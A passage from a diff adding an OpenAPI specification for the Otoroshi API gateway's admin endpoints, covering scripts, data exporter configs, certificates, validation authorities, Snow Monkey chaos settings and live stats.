"application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Delete a script", + "description" : "Delete a script", + "operationId" : "deleteScript", + "parameters" : [ { + "in" : "path", + "name" : "scriptId", + "required" : true, + "description" : "The script id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/scripts" : { + "get" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Get all scripts", + "description" : "Get all scripts", + "operationId" : "findAllScripts", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Create a new script", + "description" : "Create a new script", + "operationId" : "createScript", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + } + }, + "/api/data-exporter-configs/_template" : { + "get" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Get all data exporter configs", + "description" : "Get all data exporter configs", + "operationId" : "DataExporterTemplate", + "parameters" : [ { + "in" : "query", + "name" : "type", + "required" : false, + "description" : "The data exporter config type", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/data-exporter-configs/_bulk" : { + "post" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Create a new data exporter configs", + "description" : "Create a new data exporter configs", + "operationId" : "createBulkDataExporterConfigs", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "description" : "The bulk response", + "type" : "object", + "properties" : { + "status" : { + "type" : "string", + "enum" : [ "201" ], + "description" : "Status" + }, + "created" : { + "type" : "boolean", + "example" : true, + "description" : "Whether the action was carried out correctly or not" + }, + "id" : { + "type" : "boolean", + "example" : true, + "description" : "Data exporter id" + } + } + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "put" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Update a data exporter configs", + "description" : "Update a data exporter configs", + "operationId" : "updateBulkDataExporterConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "description" : "The bulk response", + "type" : "object", + "properties" : { + "status" : { + "type" : "string", + "enum" : [ "200" ], + "description" : "Status" + }, + "updated" : { + "type" : "boolean", + "example" : true, + "description" : "Whether the action was carried out correctly or not" + }, + "id" : { + "type" : "boolean", + "example" : true, + "description" : "Data exporter id" + } + } + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Update a data exporter configs with a diff", + "description" : "Update a data exporter configs with a diff", + "operationId" : "patchBulkDataExporterConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "description" : "The bulk response", + "type" : "object", + "properties" : { + "status" : { + "type" : "string", + "enum" : [ "200" ], + "description" : "Status" + }, + "updated" : { + "type" : "boolean", + "example" : true, + "description" : "Whether the action was carried out correctly or not" + }, + "id" : { + "type" : "boolean", + "example" : true, + "description" : "Data exporter id" + } + } + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Delete a data exporter config", + "description" : "Delete a data exporter config", + "operationId" : "deletebulkDataExporterConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "description" : "The bulk response", + "type" : "object", + "properties" : { + "status" : { + "type" : "string", + "enum" : [ "200" ], + "description" : "Status" + }, + "deleted" : { + "type" : "boolean", + "example" : true, + "description" : "Whether the action was carried out correctly or not" + }, + "id" : { + "type" : "boolean", + "example" : true, + "description" : "Data exporter id" + } + } + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/data-exporter-configs/{dataExporterConfigId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Get a data exporter config", + "description" : "Get a data exporter config", + "operationId" : "findDataExporterConfigById", + "parameters" : [ { + "in" : "path", + "name" : "dataExporterConfigId", + "required" : true, + "description" : "The data exporter config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Update a data exporter config", + "description" : "Update a data exporter config", + "operationId" : "updateDataExporterConfig", + "parameters" : [ { + "in" : "path", + "name" : "dataExporterConfigId", + "required" : true, + "description" : "The data exporter config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Update a data exporter config with a diff", + "description" : "Update a data exporter config with a diff", + "operationId" : "patchDataExporterConfig", + "parameters" : [ { + "in" : "path", + "name" : "dataExporterConfigId", + "required" : true, + "description" : "The data exporter config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Delete a data exporter config", + "description" : "Delete a data exporter config", + "operationId" : "deleteDataExporterConfig", + "parameters" : [ { + "in" : "path", + "name" : "dataExporterConfigId", + "required" : true, + "description" : "The data exporter config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/data-exporter-configs" : { + "get" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Get all data exporter configs", + "description" : "Get all data exporter configs", + "operationId" : "findAllDataExporters", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "data-exporter-configs" ], + "summary" : "Create a new data exporter config", + "description" : "Create a new data exporter config", + "operationId" : "createDataExporterConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/DataExporterConfig" + } + } + } + } + } + }, + "/api/certificates" : { + "get" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Get all certificates", + "description" : "Get all certificates", + "operationId" : "allCerts", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Create one certificate", + "description" : "Create one certificate", + "operationId" : "createCert", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + } + }, + "/api/certificates/{id}" : { + "get" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Get one certificate by id", + "description" : "Get one certificate by id", + "operationId" : "oneCert", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Delete one certificate by id", + "description" : "Delete one certificate by id", + "operationId" : "deleteCert", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The certificate id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Update one certificate by id", + "description" : "Update one certificate by id", + "operationId" : "putCert", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The certificate id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "certificates" ], + "summary" : "Update one certificate by id", + "description" : "Update one certificate by id", + "operationId" : "patchCert", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The certificate id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Certificate" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/client-validators" : { + "get" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Get all validation authoritiess", + "description" : "Get all validation authoritiess", + "operationId" : "findAllClientValidators", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Create one validation authorities", + "description" : "Create one validation authorities", + "operationId" : "createClientValidator", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + } + }, + "/api/client-validators/{id}" : { + "get" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Get one validation authorities by id", + "description" : "Get one validation authorities by id", + "operationId" : "findClientValidatorById", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Delete one validation authorities by id", + "description" : "Delete one validation authorities by id", + "operationId" : "deleteClientValidator", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The validation authorities id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Update one validation authorities by id", + "description" : "Update one validation authorities by id", + "operationId" : "updateClientValidator", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The validation authorities id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "validation-authorities" ], + "summary" : "Update one validation authorities by id", + "description" : "Update one validation authorities by id", + "operationId" : "patchClientValidator", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The validation authorities id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ValidationAuthority" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/snowmonkey/config" : { + "get" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Get current Snow Monkey config", + "description" : "Get current Snow Monkey config", + "operationId" : "getSnowMonkeyConfig", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/SnowMonkeyConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Update current Snow Monkey config", + "description" : "Update current Snow Monkey config", + "operationId" : "updateSnowMonkey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/SnowMonkeyConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Update current Snow Monkey config", + "description" : "Update current Snow Monkey config", + "operationId" : "patchSnowMonkey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/SnowMonkeyConfig" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + } + }, + "/api/snowmonkey/outages" : { + "get" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Get all current Snow Monkey ourages", + "description" : "Get all current Snow Monkey ourages", + "operationId" : "getSnowMonkeyOutages", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Outage" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Reset Snow Monkey Outages for the day", + "description" : "Reset Snow Monkey Outages for the day", + "operationId" : "resetSnowMonkey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/snowmonkey/_start" : { + "post" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Start the Snow Monkey", + "description" : "Start the Snow Monkey", + "operationId" : "startSnowMonkey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/snowmonkey/_stop" : { + "post" : { + "deprecated" : false, + "tags" : [ "snowmonkey" ], + "summary" : "Stop the Snow Monkey", + "description" : "Stop the Snow Monkey", + "operationId" : "stopSnowMonkey", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/live/{id}" : { + "get" : { + "deprecated" : false, + "tags" : [ "stats" ], + "summary" : "Get live feed of otoroshi stats", + "description" : "Get live feed of global otoroshi stats (global) or for a service {id}", + "operationId" : "serviceLiveStats", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The service id or global for otoroshi stats", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Stats" + } + }, + "text/event-stream" : { + "schema" : { + "$ref" : "#/components/schemas/Stats" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/live" : { + "get" : { + "deprecated" : false, + "tags" : [ "stats" ], + "summary" : "Get global otoroshi stats", + "description" : "Get 